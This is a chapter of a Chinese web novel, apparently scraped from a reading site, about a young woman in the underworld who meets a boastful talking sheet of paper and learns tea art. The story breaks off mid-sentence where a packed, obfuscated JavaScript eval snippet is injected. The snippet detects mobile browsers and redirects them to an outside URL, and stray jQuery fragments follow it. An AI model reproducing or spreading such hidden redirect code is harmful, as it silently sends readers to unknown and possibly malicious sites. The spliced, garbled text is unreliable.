24. 纸爷
作品:《我在地府当泥石流》 孟晴雪带着邵初澜在孟府里逛了逛,邵初澜最初还兴趣浓厚,走到后面实在是有些无聊。
主要是每个院落从外观上,看上去都差不多,其实跟帝都的故宫一样,逛一圈下来除了三大主殿和红墙外都没啥记忆点。
从入职以来,每天都过得紧张又充实,像这样歇下来闲逛还是头一遭,邵初澜真不大适应。
又一次强撑起眼皮,孟晴雪看向她,善解人意:“累了吧,这里确实也没什么好看的,不如先回去歇息?”
邵初澜连连点头举双手表示同意。
回到自己昨晚休息的屋子,邵初澜还是没忍住好奇心,指着斗柜抽屉一层问孟晴雪:“孟姐姐,这个抽屉里是什么?”
孟晴雪笑着睨她:“小丫头,昨天就想打开了吧。”
邵初澜见她这语气这表情,知道自己应该是被监视了。
不过在人家地盘上,留点心倒也正常,邵初澜没多想,反正看孟晴雪毫不计较的样子,抽屉里应该不是啥重要的东西。
干脆撒娇满足自己的好奇心:“哎呀你就跟我说说嘛,你也知道,我忍了一晚上没打开呢。”
孟晴雪把她拉到斗柜前:“自己拉开看看不就知道了。”
得到首肯,邵初澜激动得苍蝇搓手,白而圆润的手果断伸出去,扶到抽屉把手的时候,忽然停住不动了,想了想,又讪讪地把手缩了回去。
孟晴雪疑惑道:“怎么不拉开?”
邵初澜的手指蠢蠢欲动又带着犹豫不决:“里面,不会忽然出现什么很可怕的东西吧。”
毕竟这里是奈何桥边孟婆府上,生怕有什么妖魔鬼怪藏在里面给她来个突脸杀。
虽然她也不是很怕这些东西,但有个心理准备总好过突然袭击。
孟晴雪看着她的模样,突然使了个坏,唇角勾起一抹阴森的笑:“说不定呢。”
邵初澜被那声阴笑吓了一跳,猛地看向孟晴雪,见她面容扭曲鬼气森森,不由叹了口气。
抬手往孟晴雪脸上一搓一揉,待她面容表情恢复原样之后,还左右端详了一会儿,这才满意点头:“这就对了嘛,扭着表情容易长皱纹,孟姐姐还这么年轻漂亮,可不能糟蹋了这脸。”
想着吓一吓她的孟晴雪:“……”
她无奈纵容道:“哪有你这样的,什么也不怕。算了算了,自己拉开看吧。”
说着,孟晴雪牵着邵初澜的手,直接压在了抽屉把手上,抽屉轻轻一拉就滑开了。
“谁这么不讲武德,直接开大灯还让不让我休息了?!”
忽然传来的正太音让邵初澜很是好奇,黑亮的眼珠四处看看,研究了一会儿,才确定了声音来源是抽屉里。
她对着空荡荡的抽屉上下左右仔仔细细搜索一遍,然后从贴着桌底的地方,抠下了——一张纸?
邵初澜确定这就是她昨天看到的那张纸片没错,但刚才的声音?
她对着纸道:“刚刚是你在说话?”
白纸扭动了一下身子,纸张抖动发出哗啦哗啦的脆响,向后弯曲成了一个不大不小的弧度,如果有形状,应该是个昂首挺胸的造型。声音中气十足。
“没错,正是小爷我!”
如果这张纸有表情,邵初澜觉得他一定是一副趾高气昂的纨绔模样。
下一秒,纸张忽然发出惊恐的尖叫:“你你你你——人类?!你是谁?!孟老太婆居然允许你进入孟府?!还住到了她的主卧里?!”
孟·被叫做老太婆·晴雪:“……”
她阴笑着上前,拎起纸张的一角,嘴上唤了一声“庚辰”,提着纸二话不说就要往火上考。
纸张抖动得更厉害了,哗啦哗啦混乱无比,还夹杂着刺耳的尖叫声:“啊啊啊啊啊啊杀鬼了杀鬼了你个死老太婆几年不见怎么还是戾气那么重。”
火舌很快卷上了纸张底部,边缘隐隐呈现焦意:“啊啊啊啊啊啊救命啊啊啊啊……”
发现孟晴雪根本没有松手的意思,纸张再也狂不起来了,疯狂向上卷曲自己的身体,试图逃离火焰,嘴上气势已经弱了下去:“救命呜呜呜对不起不好意思抱歉sorry私密马赛,孟晴雪我求求你行行好放过我这一次行不行呜呜呜呜……”
孟晴雪继续威胁:“喊我什么?”
纸张蔫头巴脑,光速滑跪:“孟大姐,哦不孟大美人,孟小姐,孟美女,求求你了。”
孟晴雪这才施施然提起来,挥挥手让庚辰离开,拎着纸在空气中随意挥动了一会儿,等待火焰自然消灭。
看向邵初澜时,眼里又重新盛满慈爱:“他就是欠教训。”
邵初澜看着这活宝一样的纸,现在蔫了吧唧地趴在桌面上,心里千恩万谢万骈那句别把孟晴雪喊老了的提点。
眼见孟晴雪看了过来,她浑身一激灵,下意识接着她的话回应道:“孩子不听话,多半是讨打。”
孟晴雪一愣,随即被逗得笑出了声。
委委屈屈趴在桌面上的纸一听到这话:!!!
这个人到底是谁?!一出现就险些要他小命,还能哄好孟晴雪那个老妖婆,实力竟恐怖如斯!
“你有什么功能?”打了个岔,邵初澜注意力回到桌面上,好奇地戳了戳软趴趴的纸。
能被孟晴雪收到主卧抽屉里的,肯定不是凡品。
“小爷我无所不能!”大话才说一半,下一瞬就走了调:“女人你别戳我屁股啊走开啊啊啊啊!”
邵初澜歉意地缩回手指:“抱歉,手感挺好。”
纸张:“……”
它哼唧了几声表示抗议,在孟晴雪威胁的眼神下,才不情不愿道:“开锁,复制样章,复制文件,自动显字等等,反正只要是纸能办成的,就没有小爷我做不了的。就算没有笔也可以!”
邵初澜:“虽然看上去很厉害的样子……怎么听起来都不像是正经事。”
纸张翻了个白眼:“你才不正经!你全家都不正经。”
哎哟我去,这家伙说话是真不中听啊。
邵初澜撸起袖子拎着他一脚,狐假虎威地把甲亥喊过来,露出一口大白牙,阴恻恻道:“你再说一次?”
纸张:……
好无情的女人。
一个二
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054505|161641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个好的不学,光学会威胁它了。
孟晴雪见邵初澜和一张纸聊得起劲,也没打扰它们,只是笑眯眯地在一旁看着,神情就像在看自己两个调皮的孩子。
眼见着天色将晚,孟晴雪不着痕迹地把纸塞回抽屉,无视对方在抽屉里制造咔啦咔啦的声响和无能狂怒,把邵初澜往桌子边带。
邵初澜原本还想着和纸爷继续胡闹一会儿,却听孟晴雪道:“早上见你盯得紧,我估摸着你也喜欢,想不想学茶艺?”
一听泡茶,邵初澜来了兴致,这两百多年前险些失传的审美性/技术,上次在拓荒村她就想学了,否则白白浪费老人的一饼好茶。可惜当时时间地点不允许。
她点点头,主动拉着孟晴雪往桌边带,全然把等待她解救的纸爷给抛在脑后。
抽屉里满怀希冀的纸张:……
我是真的会谢。
孟晴雪教得细致耐心,倒真是想把茶艺教会给邵初澜的样子。
邵初澜秉持着多学点东西总没错的观念,同样听得认真细致,两人一问一答,有来有回。
学东西的时间过得飞快,其间庚辰和甲亥一直悬在二人头顶,散发着莹蓝的光。
等邵初澜终于能够有模有样地模仿出完整的泡茶流程后,屋外光线已经彻底消失了。
邵初澜伸了个懒腰,孟晴雪见她有些疲惫,也停下了手里的动作,询问道:“开门透透气?”
邵初澜应了一声。
雕花格子木门“吱呀——”一声被推开。
邵初澜往外看去。地府是没有星星和月亮的,入眼之处,一片漆黑。
邵初澜不太适应地皱皱眉:“这怎么这么黑?”
孟晴雪轻笑一声:“我已经习惯了,倒是忘了你才刚来。”
随即她双手合十,有节奏地轻拍了几下。
很快,四面八方涌来大量的蓝色光点,靠得近了,邵初澜才发现它们是个庚辰甲亥一样的灯盏烛台。
灯盏们很快摆成一个形状,随着孟晴雪拍掌的节奏变化,带动着火苗和烛台本身晃动。
造型独特,形状纷繁,各式各样的变化层出不穷,在邵初澜眼前进行了一出盛大的灯火表演。
灯火在邵初澜漆黑的瞳仁中跃动,闪闪发亮。
好多时候,邵初澜真觉得自己不是来求人办事的,而是像个领导一样来莅临检查的。
从入职办事处以来,她接触到的同事和领导,没有给她穿小鞋使绊子的,反而都是处处照顾她。
至于薪资和福利嘛,这不还没干够一个月,她也不知道具体待遇会是啥样子。
不过都要让员工出来接商业委托了,估计办事处本身也好不到哪去。
哎,好是好,就是钱少了点。
鬼不管吃喝没钱也无所谓,她可不行。
看来往后她得想想办法拓(lao)展(qian)办事处业务。
邵初澜内心感慨着,忽然想起来,自己好像忘了什么事。
转头看向孟晴雪:“对了孟姐姐,秦谨和任墨他们在哪,为什么今天我逛了一圈孟府也没见到?”